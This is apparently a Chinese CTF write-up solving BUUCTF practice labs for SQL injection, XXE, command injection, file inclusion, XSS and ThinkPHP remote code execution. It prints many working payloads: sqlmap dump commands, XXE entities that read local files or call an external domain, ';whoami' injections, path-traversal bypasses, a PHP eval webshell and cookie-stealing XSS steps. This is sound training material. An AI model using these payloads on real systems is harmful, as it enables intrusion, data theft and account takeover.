sqli-labs
几乎所有题都可使用sqlmap解出:
步骤:
列出所有数据库:
sqlmap http://6a9a9282-5d2a-4c3a-85c8-0f4f7bc3d213.node5.buuoj.cn/Less-1/?id=1 --dbs
发现ctftraining表,打开ctftraining表
sqlmap http://6a9a9282-5d2a-4c3a-85c8-0f4f7bc3d213.node5.buuoj.cn/Less-1/?id=1 -D ctftraining --tables
发现flag数据,打开flag数据,并列出:
sqlmap http://6a9a9282-5d2a-4c3a-85c8-0f4f7bc3d213.node5.buuoj.cn/Less-3/?id=1 -D ctftraining -T flag --dump
BUU BURP COURSE 1
此题解题要点,头部参数:X-Real-IP
请求头部添加参数:X-Real-IP:127.0.0.1
bp将请求链接添加重放,头部添加上面参数
然后点发送,然后会获取到密码:
将其粘贴到请求处的password处,再点击发送就可以获得flag
BUU XXE COURSE 1
此处是一个xxe漏洞
通过定义外部实体,进行对本地文件的映射
先使用http://www.dnslog.cn/检查是否有xxe漏洞
先点击 Get SubDomain
获取检测域名链接
将其抓包替换为
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE test [ <!ENTITY % xxe SYSTEM "http://域名链接" > %xxe; ]>
再进行发送,然后点 Refresh Record
,有访问记录就说明测试成功了。
先通过bp抓包,获取点击登录后捕获的数据包,将其放到重放器中,然后修改xml处代码,修改为以下样式:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root[
<!ENTITY name SYSTEM "file:///flag">
]>
<root> <username>&name;</username></root>
再进行发送,就可以看见flag
<?xml version="1.0" encoding="UTF-8"?>
:这是 XML 文档的声明,指定了 XML 的版本和编码方式。 <!DOCTYPE root[
:这里开始了 DTD(文档类型定义)部分的定义。在这里,攻击者定义了一个名为 "root" 的文档类型,并在其中定义了一个外部实体。 <!ENTITY name SYSTEM "file:///flag">
:在 DTD 中定义了一个名为 "name" 的外部实体,其内容来自系统中的一个名为 "file:///flag" 的文件。 <root> <username>&name;</username></root>
:这是 XML 文档的主体部分。在这里,攻击者通过在 <username>
元素中引用定义的外部实体 &name;
,将文件 "file:///flag" 的内容插入到 XML 文档中的这个位置。
LFI Labs
cmd1
直接用,find / | grep flag
查看flag位置
再用cat输出文件内容 cat /flag
cmd2
同cmd1
只不过使用的是post请求
cmd3
使用的是联合查询,如:
?domain=baidu.com;whoami#
在分号后执行命令,如cmd1
cmd4
一样使用的是联合查询,但是post请求,所以直接在输入框中,输入 baudu.com;whoami
其他与cmd1一样
cmd5
因为输入框后还会有命令执行,所以使用 ;
号使后面命令执行不收影响,也可通过链接更改
baidu.com;whoami;
cmd6
与cmd5类似,只不过使用了post请求,与cmd1执行类似
HDR-1
下面是一个攻击者可能使用的Payload示例: TEMPLATE=http://域名/malicious.php
在 malicious.php
中,攻击者可以执行任意PHP代码, 没做出来
LFI-1
这题直接提供page参数,访问本地页面
所以参数:?page=/flag
所以只需要知道大概文件存放位置,即可查询对应文件
LFI-2
需使用到 %00
LFI-3
大小写绕过:php->PHp
解决方法流程 黑名单绕过,包括但不局限于
空格绕过:php->php<空格>,这个得抓包后在hex中修改
加点饶工:php->php.
特殊字符绕过:php->php::$DATA
使用'.ph<'进使用'.ph<'进行.php拓展过滤渗出行.php拓展过滤渗出
靶场环境在linux无法实现
LFI-4
写入class的值
?class=/../../../phpinfo
在PHP 5.2.8之后的版本中被修复
LFI-5
对../进行过滤,且只过滤一次
所以只需要多../多输入几次如 ....//....//....//....//....//flag
LFI-6
直接输入 /flag
即可解开
LFI-7
会在输入后面加上后缀但版本限制没法使用 %00
进行截断
LFI-8
- 本题与 LFI-3 基本一致,同样换成 POST 方法而已,依旧通过表单提交 payload 即可。
LFI-9
- 本题与 LFI-4 基本一致,同样换成 POST 方法而已,依旧通过表单提交 payload 即可。
LFI-10
- 本题与 LFI-5 基本一致,同样换成 POST 方法而已,依旧通过表单提交 payload 即可。
LFI-11
代码审计可知使用post传参,变量为stylepath,所以post传参为
stylepath=../../../../../flag
LFI-12
与上题一样,只不过通过get访问传参
LFI-13
本题又是对../进行过滤
解题方式:
....//....//....//....//....//flag
LFI-14
作为最后一题,本题与 LFI-10 基本完全一致,修改了一下提示而已,虽然增加了 LFI-11 类似的表单干扰,不过因为最终包含的变量名没有变化,故没有任何影响。
BUU XSS COURSE 1
此题用网上的方法,在xss平台并未获取到管理员访问,只有本地访问,很难受
xss平台:https://xssaq.com/
测试发现图片可以发送,之后可以直接将
放置吐槽框,然后点击发送,后访问地址,可以在xss平台看见,一个本地访问的,和一个管理员访问的cookie,即可使用cookie访问对方后台
AWD-Test1
此题是thinkphp远程命令执行漏洞,
访问链接后,使用脚本对其进行扫描:
https://github.com/admintony/thinkPHPBatchPoc
扫描后发现,链接:
?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=echo%20www_admintony_com
然后粘贴在链接处,发现可以访问且执行命令,即可使用远程执行命令
?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=cat /flag
即可获取flag
AWD-Test2
使用AWVS进行高威漏洞扫描,发现a参数有远程命令执行漏洞
直接使用一句话木马
${phpinfo()}
或者
${@eval($_POST[123])}
直接看phpinfo即可看见flag,或者使用一句话木马,进行远程webshll连接,查看flag
也有其他方法:https://blog.csdn.net/weixin_46601305/article/details/136091206
BUU SQL COURSE 2
此题似乎和上面某题差不多,但是登录后提示false,就知道被骗了
但是通过sqlmap后发现数据库中存在ctftraining,和flag表,又和某题差不多,所以直接使用命令查看表数据获得flag
sqlmap http://c8a5f628-15fa-427b-8f88-a4d775f8a4ad.node5.buuoj.cn:81/backend/content_detail.php?id=1 -D ctftraining -T flag -dump
[Windows]Upload-Labs-Windows
这题和上面的linux差不多,上传一句话木马文件
使用蚁剑链接查看C盘根目录下的此文件即可获取,flag
Fl@g_glzjin_still_w@nts_a_girl_friend.txt
基本所有题都可使用图片马进行解决,路径如下:
/include.php?file=./upload/图片名
XSS-Lab
level1
直接在test后接上
<script>alert("ok")</script>
常见xss触发标签:https://blog.csdn.net/LYJ20010728/article/details/116462782
level2
构造payload检测过滤了哪些字符
'';!--"<XSS>=&{()}
通过检测,发现标题对符号 "<>
进行了转义
在观察html代码处
正常格式
<input name="keyword" value="test">
payload影响后
发现对其代码产生了影响,所以利用产生影响的字符构建,最终payload
"> <script>alert("ok")</script> <"
level3
首先明白htmlspecialchars函数的作用
htmlspecialchars() 函数把一些预定义的字符转换为 HTML 实体。
预定义的字符是:
& (和号)成为 &
" (双引号)成为 "
' (单引号)成为 '
< (小于)成为 <
> (大于)成为 >
然后再查看输入payload后的html
常见payload插入,在上面发的链接中有了 由上面可知,单引号保留了一个,其中一个单引号使得 =
消失,触发这个payload,使用 onmouseover
,使其鼠标在文本框时,就可以触发alert 最终payload:
'onmouseover='alert(1)''
level4
此题输入payload
'';!--"<XSS>=&{()}
发现最后显示
单引号没被过滤,试试将双引号放到 onmouseover
前,所以最终为
"onmouseover='alert(1)'
level5
通过测试,发现,其过滤了<script和on开头的字符 只需要,根据html构造一个herf超链接就可以解决了
"> <a href=javascript:alert('xss')>test</a>
level6
通过测试,发现,其过滤了<script和on和herf开头的字符,但是没有进行大小写转义对比,所以,只需要将关键字改为大写即可,最终payload
"> <sCript>alert()</script> <"
level7
此题检查发现,对关键字进行了一次过滤,所以,只需要多重复一次script就行 这种最终payload
"><scrscriptipt>alert(/1/)</scrscriptipt>"<
level8
此题会将填入链接,通过添加友链按钮,添加至友情链接的href,所以可以键入 javascript:alert('xss')
,但是通过键入后发现会识别javascript,所以需要使用转义后的符号替代 t
或者其他字母
转换地址:https://www.rapidtables.org/zh-CN/convert/number/ascii-hex-bin-dec-converter.html
最终payload:
javascript:alert('xss')
level9
首先测试payload:
'';!--"<xss>=&{()}
会发现html变成了,链接不合法
然后我们测试 baidu.com
发现添加依然不合法,再尝试加上 http://
,发现添加成功
然后将http://放入任何位置进行检测,原来是进行了,http检测
所以最终payload:
javascript:alert('http://')
level10
首先打开发现并没有任何输入框, 发现get传参, 首先我传入了,发现并没有什么用
</h2><script>alert(/1/)</script><h2>
发现html下还存在一些传参,然后尝试将其进行get传参
发现t_sort
存在参数,又回到了熟悉的上面的题 使用测试payload
'';!--"<XSS>=&{()}
发现并未过滤,然后开头是"
所以使用onmouseover='alert(1)'
使用双引号开头,如果让input标签出现输入框,需要添加type="text"
所以最终payload:
"onmouseover='alert(1)' type="text"
level11
打开html发现,和第十题一样的传参,然后进行测试
实验前三个发现都不行, 发现第4个是上一题的链接,通过bp抓包进行替换试试 发现t_ref
是Referer
传入的参数
将Referer对应的参数修改为"onmouseover='alert(1)' type="text"
即为最终payload
level12
发现和level11类似,只不过更改为了User-Agent
所以尝试通过bp修改User-Agent参数
"onmouseover='alert(1)' type="text"
成功即为最终payload
level13
由于博主访问的靶场报错,并没有t_cook
且并没保存cookie,没有user参数,只能依照,csdn文章添加cookie参数
发现传入参数
则最终payload: user:"onmouseover='alert(1)' type="text"
level14
ng-include指令就是文件包涵的意思,用来包涵外部的html文件,如果包涵的内容是地址,需要加引号 查看网页源代码:
传入src参数?src='/level1.php'
发现可以传入参数:
<body><span class="ng-include:'/level1.php'"></span></body>
所以传入payload:
?src='/level1.php?name=<img src=1 onmouseover=alert()>'
level15
这里先是将字母小写化了,再把script替换成空格,最后将空格给实体化 payload测试:
?keyword=" ' sRc DaTa OnFocus OnmOuseOver OnMouseDoWn P <sCriPt> <a hReF=javascript:alert()> j
发现如下结果
空格实体化了,/也实体化了,在https://blog.csdn.net/LYJ20010728/article/details/116462782查看常见xss标签,使用不含/的,空格用回车替代 最终payload:
<svg%0Aonload=alert(1)>
level16~19
这些题大多数浏览器不在支持flash所以跳过 可以在以下地址查看解题方法: https://blog.csdn.net/l2872253606/article/details/125638898#t16